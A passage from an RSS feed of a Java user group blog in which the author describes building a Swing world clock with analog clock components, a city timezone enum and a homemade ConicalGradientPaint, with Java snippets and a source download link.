<li><a href='http://www.jug-muenster.de/swing-nixieclock-321/' rel='bookmark' title='Permanent Link: Swing NixieClock'>Swing NixieClock</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<!--S-ButtonZ 1.1.5 Start--><!--S-ButtonZ 1.1.5 End--><p>During my trip to <a href="http://www.jfokus.se">JFokus</a> conference last month i was waiting for the train on a german trainstation.<br />
Because i started working on a little swing tool (i will blog about it later) for our usergroup i was in the need for a analog clock.<br />
So the german railway company <a href="http://www.bahn.de">&#8220;Deutsche Bahn&#8221;</a> has a famous analog clock on nearly every german trainstation which looks like this:</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/DB_Clock.jpg" border="0" alt="DB_Clock.jpg" width="300" height="280" /></div>
<p><span id="more-427"></span>I thought this would be a nice clock to adopt in Swing and started coding. To my surprise that was an easy job and did not took much time to complete. I started with a dark version of this clock because my usergroup swing component was designed in a dark color scheme.</p>
<p>Some days later i remembered that on the iPhone there&#8217;s a worldclock application which also contains analog clocks.<br />
Because the clock was finished already i thought i could not be too hard to implement this kind of worldclock in <a href="http://www.java.com">Java</a>.<br />
So i started this little worldclock project i would like to tell you about here.</p>
<p><strong>Step #1</strong><br />
Creating two versions of the analog clock component.</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-3.png" border="0" alt="ishot-3.png" width="411" height="197" align="right" /></div>
<p>The nice thing in <a href="http://www.netbeans.org">NetBeans</a> (and also other gui editors) is that once you generated a swing component you could easily drag&#8217;n drop the component to a JPanel or JFrame etc. like on the following movie (quicktime mov format).</p>
<p><a title="NetBeans_Swing.mov" href="http://www.jug-muenster.de/wp-content/uploads/2010/02/NetBeans_Swing.mov">NetBeans_Swing.mov</a></p>
<p>So you will be able to easily create new components by drag stuff together.</p>
<p><strong>Step #2</strong></p>
<p>Creating a JPanel which contains the clock and the name of the related city. So we need a class that contains cities with their international timezones. Here is a small fraction of my class.</p>
<pre class="brush:java;">public enum City
{
    // -12
    Wellington("Wellington", -43200000),
    Fidschi("Fidschi", -43200000),
    Kamtschatka("Kamtschatka", -43200000),
    // -11
    Magadan("Magadan", -39600000),
    Sachalin("Sachalin", -39600000),
    Salomoninseln("Salmoninseln", -39600000),
    Malekula("Malekula", -39600000),
    // -10
    Wladiwostok("Wladiwostok", -36000000),
    Guam("Guam", -36000000),
    Sydney("Sydney", -36000000),
    Brisbane("Brisbane", -36000000),
    Melbourne("Melbourne", -36000000),
    // -9.5
    Darwin("Darwin", -34200000),
    Adelaide("Adelaide", -34200000),
    // -9
    ...
}</pre>
<p>So if you won&#8217;t find your city in the list&#8230;feel free to add it with it&#8217;s timezone offset.</p>
<p>Additional to that we should show the current time of the day because if it&#8217;s 5:50 AM and 6:10 PM we will get a dark clock in both cases but one is at morning and the other at evening. For this reason i added a JPanel where i draw one out of four different states like follows:</p>
<ul>
<li>Sunrise    <img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-8.png" border="0" alt="ishot-8.png" width="28" height="28" align="center" /></li>
<li>Day         <img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-5.png" border="0" alt="ishot-5.png" width="28" height="28" align="center" /></li>
<li>Sunset     <img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-6.png" border="0" alt="ishot-6.png" width="28" height="28" align="center" /></li>
<li>Night       <img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-7.png" border="0" alt="ishot-7.png" width="28" height="28" align="center" /></li>
</ul>
<p>Furthermore we need a indication for the current day because it might happen, that a timezone is still on the time yesterday or on the time tomorrow. For this i add a little JLabel that indicates these states with</p>
<ul>
<li>yesterday</li>
<li>today</li>
<li>tomorrow</li>
</ul>
<p>Long story short&#8230;this is the JPanel i&#8217;m talking about</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-9.png" border="0" alt="ishot-9.png" width="370" height="85" align="right" /></div>
<p><strong>Step #3</strong></p>
<p>Now i created a neat background panel that will take all the different city panels and give them a nice background.<br />
Looks like this</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-10.png" border="0" alt="ishot-10.png" width="413" height="194" align="right" /></div>
<p><strong>Step #4</strong></p>
<p>Create a JFrame in NetBeans and drag&#8217;n drop the background panel on to it.<br />
Now you drag&#8217;n drop as many clock panels on the background panel as you would like to see in your worldtime clock and select the city for each panel&#8230;bam&#8230;that&#8217;s it.</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-13.png" border="0" alt="ishot-13.png" width="411" height="404" align="right" /></div>
<p><strong>Step #5</strong></p>
<p>R E V I E W . . .</p>
<p>As i used the clock on my desktop i thought it would be nice if the clock itself could show the time of the day like some watches do.</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><a href="http://www.jug-muenster.de/wp-content/uploads/2010/02/watch.png" rel="lightbox[427]"><img class="alignnone size-thumbnail wp-image-435" title="watch" src="http://www.jug-muenster.de/wp-content/uploads/2010/02/watch-150x150.png" alt="" width="150" height="150" /></a></div>
<p>And so i started to create another version of the AnalogClock component&#8230;</p>
<p>Therefor i needed a circular shape which represents the day-night cycle. Here is my Fireworks prototype</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-14.png" border="0" alt="ishot-14.png" width="108" height="108" align="right" /></div>
<p>Unfortunately there is no out of the box ConicalGradientPaint available in Java2D and so i had to create my own version. I did this by rotating a Line2D around the center of the clock with changing color in dependence on the rotation angle.</p>
<p>This worked out fine and did the job but looked ugly in the code and i thought about creating my own ConicalGradientPaint class.</p>
<p>This was a challange to me because i had no idea about WritableRaster, PaintContext etc. and it took me some time to understand the underlying concept.</p>
<p>Now i have a gradient paint (and you will have it too if you take a look at the source) that i can use in the same way as e.g. LinearGradientPaint or RadialGradientPaint, here a short example</p>
<pre class="brush:java;">// Define the center of the cone
final java.awt.geom.Point2D CENTER = new java.awt.geom.Point2D.Double(IMAGE.getWidth() / 2, IMAGE.getHeight() / 2);

// Define the fractions for the colors
final float[] FRACTIONS =
{
    0.0f,
    0.10f,
    0.14f,
    0.18f,
    0.32f,
    0.68f,
    0.82f,
    0.86f,
    0.90f,
    1.0f
};

// Define the colors for the fractions
final java.awt.Color[] COLORS =
{
    new java.awt.Color(0x000000),
    new java.awt.Color(0x000000),
    new java.awt.Color(0x332200),
    new java.awt.Color(0x664411),
    new java.awt.Color(0x85A4C3),
    new java.awt.Color(0x85A4C3),
    new java.awt.Color(0x004466),
    new java.awt.Color(0x002233),
    new java.awt.Color(0x000000),
    new java.awt.Color(0x000000)
};

// Define the ConicalGradientPaint with the given parameters
final ConicalGradientPaint CONICAL_GRADIENT_PAINT = new ConicalGradientPaint(CENTER, FRACTIONS, COLORS);

// Set the paint
g2.setPaint(CONICAL_GRADIENT_PAINT);

// Fill a ellipse with the gradient
g2.fill(new java.awt.geom.Ellipse2D.Double(0, 0, IMAGE.getWidth(), IMAGE.getHeight()));</pre>
<p>This piece of code leads to something like that</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-15.png" border="0" alt="ishot-15.png" width="216" height="184" align="right" /></div>
<p>which is exactly the result i needed.<br />
There&#8217;s one thing which i was not able to fix right now and that is transformation. Because i rotate the image in dependency of the current time i just calculate the angle from the time and say g2.rotate(nightDayAngle)&#8230;</p>
<p>Unfortunately this doesn&#8217;t work with my homebrewed ConicalGradientPaint because it does not take the transformation into account.<br />
My idea was to create the night-day image as a bufferedimage and rotate it every minute about the time dependend angle. Because i could not rotate the gradient i now create the night-day image and rotate it everytime the seconds pointer will move forward.</p>
<p>That means if i could rotate the gradient it would give me a better performance but unfortunately i did not found the time to implement it right now.</p>
<p>Again long story short&#8230;here is the result of the AnalogClock component with it&#8217;s ability to show the current time of the day as graphic.</p>
<p>I created a special version of the clock with semitransparent images to show you were the night-day image is placed behind the clock-background. Here you see both versions&#8230;</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-16.png" border="0" alt="ishot-16.png" width="373" height="395" align="right" /></div>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-17.png" border="0" alt="ishot-17.png" width="373" height="395" align="right" /></div>
<p>With this AnalogClock i also created a worldclock that now looks like this</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/02/ishot-18.png" border="0" alt="ishot-18.png" width="414" height="402" align="right" /></div>
<p>Well that&#8217;s it so far, i hope this will be usefull for at least some of you&#8230;</p>
<p>Of course you will get the source as always here&#8230;<a title="WorldClock.zip" href="http://www.jug-muenster.de/wp-content/uploads/2010/02/WorldClock.zip">WorldClock.zip</a></p>
<p>In the netbeans project you will find two main classes, Main.class will start the worldclock without the night-day display and Main2.class will start it with the night-day display. Default is the Main.class.</p>
<p>Follow me on <a href="http://twitter.com/hansolo_">twitter</a> if you like&#8230;</p>
<div style="clear:both;">&nbsp;</div>

<p>Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/swing-weather-worldclock-490/' rel='bookmark' title='Permanent Link: Swing Weather Worldclock'>Swing Weather Worldclock</a></li>
<li><a href='http://www.jug-muenster.de/swing-event-departure-board-518/' rel='bookmark' title='Permanent Link: Swing event departure board'>Swing event departure board</a></li>
<li><a href='http://www.jug-muenster.de/swing-nixieclock-321/' rel='bookmark' title='Permanent Link: Swing NixieClock'>Swing NixieClock</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.jug-muenster.de/swing-worldclock-427/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
<enclosure url="http://www.jug-muenster.de/wp-content/uploads/2010/02/NetBeans_Swing.mov" length="671499" type="video/quicktime" />
		</item>
	</channel>
</rss>
